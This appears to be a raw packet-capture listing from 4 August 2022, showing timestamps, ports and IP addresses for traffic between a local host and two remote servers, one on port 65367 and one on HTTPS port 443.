Aug 4, 2022 13:37:00.918632984 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.918730021 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.918756008 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.918793917 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:00.918865919 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:00.918878078 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:00.918893099 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:00.918895006 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.918906927 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:00.918986082 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.919008970 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.919033051 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.919054031 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:00.919212103 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.919317007 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.919339895 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.919394016 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.919460058 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.919523001 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.919547081 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.920155048 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.921058893 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:00.921165943 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:00.947191000 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.947259903 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.947370052 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.947463036 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.947586060 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.947705984 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.947798014 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.947827101 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.947855949 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.947880983 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.947982073 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.948062897 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.948220968 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.948339939 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.948364973 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.948410988 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.948496103 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.948524952 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.948658943 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.948785067 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.948812962 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.948978901 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.949007034 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.949260950 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.949382067 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.949409962 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.949510098 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.949620962 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.949649096 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.949743032 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.949773073 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.949862003 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.949863911 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:00.949965000 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:00.950042009 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.950069904 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.950143099 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.950170994 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.950196981 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.950305939 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.950333118 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.950459957 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.950531960 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.950560093 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.950670958 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.950741053 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.950812101 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.950881004 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.950989962 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.951934099 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:00.952012062 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:00.978176117 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.978199005 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.978408098 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.978652000 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.978688955 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.978810072 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.978928089 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.979008913 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.979130030 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.979209900 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.979290962 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.979371071 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.979468107 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.979571104 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.979609966 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.979732990 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.979772091 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.979890108 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.979976892 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.979990959 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.980176926 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.980190992 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.980329037 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.980344057 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.980411053 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.980529070 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.980541945 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.980648041 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.980767965 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.980895996 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.980909109 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.980938911 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:00.981009007 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.981044054 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.981046915 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:00.981163979 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.981489897 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.981648922 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.981762886 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.981838942 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.981956959 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.982014894 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.982173920 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.982187033 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.982294083 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.982372046 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.982491016 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.982505083 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.982611895 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.982640982 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.982772112 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.985049009 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:00.985141993 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:01.009134054 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.009166002 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.009193897 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.009269953 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.009300947 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.009391069 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.009418011 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.009444952 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.009506941 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.009533882 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.009581089 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.009708881 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.009737015 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.009829044 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.009857893 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.009886026 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.009948015 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.010009050 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.010056973 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.010087013 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.010191917 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.013210058 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.013315916 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.013344049 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.013370037 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.013470888 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.013495922 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.013521910 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.013547897 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.013572931 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.013600111 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.013695955 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:01.013719082 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.013747931 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.013808966 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:01.013835907 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.013860941 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.013887882 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.013967037 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.013994932 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.014020920 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.014048100 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.014158964 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.014184952 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.014518023 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:01.014622927 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:01.042203903 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.042249918 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.042290926 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.042355061 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.042491913 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.042526960 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.042651892 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.042715073 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.042812109 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.042927980 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.042965889 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.043135881 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.043199062 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.043296099 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.043334007 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.043395042 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.043524027 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.043556929 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.043652058 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.043816090 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.043839931 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.043864012 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.044513941 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.044540882 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.044564962 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.044589996 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.044691086 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.044715881 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.044795036 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.044817924 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.044842005 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.044899940 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.044933081 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:01.045007944 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.045036077 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:01.045104980 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.045166969 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.045773983 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.045870066 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.045929909 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.045952082 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.046401978 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.046466112 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.046488047 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.046509981 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.047091961 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.047116995 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.047142029 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.047446012 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:01.047554970 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:01.073260069 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.073290110 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.073314905 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.073416948 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.073445082 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.073474884 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.073577881 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.073647976 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.073734999 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.073810101 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.073930979 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.074013948 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.074042082 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.074214935 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.074243069 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.074266911 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.074369907 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.074527979 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.074608088 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.074687958 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.074716091 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.074810982 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.074888945 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.074968100 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.075586081 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.075613976 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.075690031 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.075738907 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.075812101 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.075928926 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.075949907 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:01.076009989 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.076258898 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.076366901 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.076477051 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.076623917 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.076648951 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.076678038 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.076704979 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.076730013 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.076756001 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.076905012 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.076975107 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.076999903 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.077069998 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.077219009 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.077245951 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.077356100 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.104295969 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.104351044 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.104377031 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.104403973 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.104490042 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.104568958 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.104851961 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.104931116 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.105094910 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.105122089 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.105292082 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.105370045 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.105540037 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.105566978 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.107561111 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.192778111 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:01.260436058 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:01.289287090 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.304886103 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:01.333920956 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.395891905 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:01.422571898 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:01.451050997 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.451092958 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.451121092 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.481909037 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.583420992 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:01.655651093 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:01.684480906 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.685075998 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:01.713696003 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.714664936 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:01.749957085 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:01.826780081 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:02.216669083 CEST	49807	443	192.168.2.5	162.159.129.233
Aug 4, 2022 13:37:02.216742992 CEST	443	49807	162.159.129.233	192.168.2.5
Aug 4, 2022 13:37:02.216842890 CEST	49807	443	192.168.2.5	162.159.129.233
Aug 4, 2022 13:37:02.282650948 CEST	49807	443	192.168.2.5	162.159.129.233
Aug 4, 2022 13:37:02.282710075 CEST	443	49807	162.159.129.233	192.168.2.5
Aug 4, 2022 13:37:02.327682972 CEST	443	49807	162.159.129.233	192.168.2.5
Aug 4, 2022 13:37:02.327857971 CEST	49807	443	192.168.2.5	162.159.129.233
Aug 4, 2022 13:37:02.332660913 CEST	49807	443	192.168.2.5	162.159.129.233
Aug 4, 2022 13:37:02.332698107 CEST	443	49807	162.159.129.233	192.168.2.5
Aug 4, 2022 13:37:02.333007097 CEST	443	49807	162.159.129.233	192.168.2.5
Aug 4, 2022 13:37:02.523536921 CEST	49807	443	192.168.2.5	162.159.129.233
Aug 4, 2022 13:37:02.687297106 CEST	49807	443	192.168.2.5	162.159.129.233
Aug 4, 2022 13:37:02.727435112 CEST	443	49807	162.159.129.233	192.168.2.5
Aug 4, 2022 13:37:02.737659931 CEST	443	49807	162.159.129.233	192.168.2.5
Aug 4, 2022 13:37:02.737926006 CEST	443	49807	162.159.129.233	192.168.2.5
Aug 4, 2022 13:37:02.737993002 CEST	49807	443	192.168.2.5	162.159.129.233
Aug 4, 2022 13:37:02.738018990 CEST	443	49807	162.159.129.233	192.168.2.5
Aug 4, 2022 13:37:02.738111973 CEST	443	49807	162.159.129.233	192.168.2.5
Aug 4, 2022 13:37:02.738163948 CEST	49807	443	192.168.2.5	162.159.129.233
Aug 4, 2022 13:37:02.738174915 CEST	443	49807	162.159.129.233	192.168.2.5
Aug 4, 2022 13:37:02.738260984 CEST	443	49807	162.159.129.233	192.168.2.5
